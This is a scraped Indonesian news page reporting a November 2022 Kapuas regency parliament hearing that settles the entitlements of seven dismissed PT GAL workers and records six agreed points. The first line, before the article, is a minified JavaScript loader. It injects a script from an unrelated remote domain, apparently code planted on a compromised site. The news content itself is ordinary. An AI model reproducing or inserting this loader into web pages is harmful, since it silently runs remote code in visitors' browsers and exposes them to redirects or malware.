(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPRD Kapuas RDP dengan PT GAL dan Serikat Buruh Penyelesaian Hak Karyawan, Ini Enam Poin Kesepakatan


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas melalui Komisi II dan Komisi IV menggelar Rapat Dengar Pendapat (RDP) dengan PT Globalindo Agung Lestari (GAL), Senin (7/11/2022).

RDP berlangsung di ruang rapat gabungan DPRD Kapuas ini dihadiri Serikat Buruh Sejahtera mandiri (SBSM) PT GAL, Dinas Tenaga Kerja Kabupaten Kapuas, dan PT GAL.

Rapat dipimpin Ketua Komisi IV DPRD Kapuas, Syarkawi H Sibu, didampingi Wakil Ketua Komisi II DPRD Kapuas, H Darwandie dan sejumlah anggota dewan, dengan agenda penyelesaian hak terakhir 7 karyawan PT GAL.

Setelah dilakukan diskusi, disepakati enam poin hasil RDP yang dituangkan ke dalam berita acara rapat.

 

Baca juga : Kontingen Tanbu Sementara Raih 38 Medali di Ajang Porprov Kalsel

“Pertama PT GAL siap membayarkan hak tujuh orang karyawan yang telah dilakukan pemutusan hubungan kerja yang direalisasikan hari ini sebagai tindak lanjut kesepakatan bersama antara Serikat Buruh Sejahtera Mandiri dengan PT GAL pada 21 Juli 2022,” kata Syarkawi seusai pimpin rapat.

Kedua, SBBM dan PT GAL segera menginformasikan kepada pihak pengadilan hubungan industrial terkait dengan penyelesaian perjanjian bersama pada 27 Oktober 2022 .

“Ketiga, perusahaan dan serikat buruh berkomitmen membangun komunikasi hubungan industrial secara baik,” ucap Syarkawi.

Poin keempat, eksekutif menjadwalkan pertemuan secara rutin atau berkala antara pemerintah daerah, perusahaan dan pekerja.

 

Baca juga : Catat Rekor MURI, Turdes Gubernur Kalsel Tempuh Jarak 1.000 Km

“Kelima diminta kepada perusahaan untuk memberikan fasilitas dan kesempatan pada penduduk lokal menduduki jabatan strategis di perusahaan, sesuai dengan standar kualifikasi yang dibutuhkan,” jelasnya.

Lalu, poin keenam pihak perusahaan berkontribusi aktif dalam membangun daerah melalui program CSR an kewajiban membayar pajak, serta kontribusi lainnya.

Sementara itu, HRD Manajer PT GAL, Firman mengatakan, sesuai dengan surat berita acara hasil RDP di DPRD Kapuas, sebenarnya permasalahan ini sudah selesai tapi tertunda sampai harus ada terjadi RDP. “Ke depannya tentunya PT GAL berkomitmen seperti selama ini hak-hak karyawan pastinya asal sesuai normatif pasti kita selesaikan,” ucap Firman. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.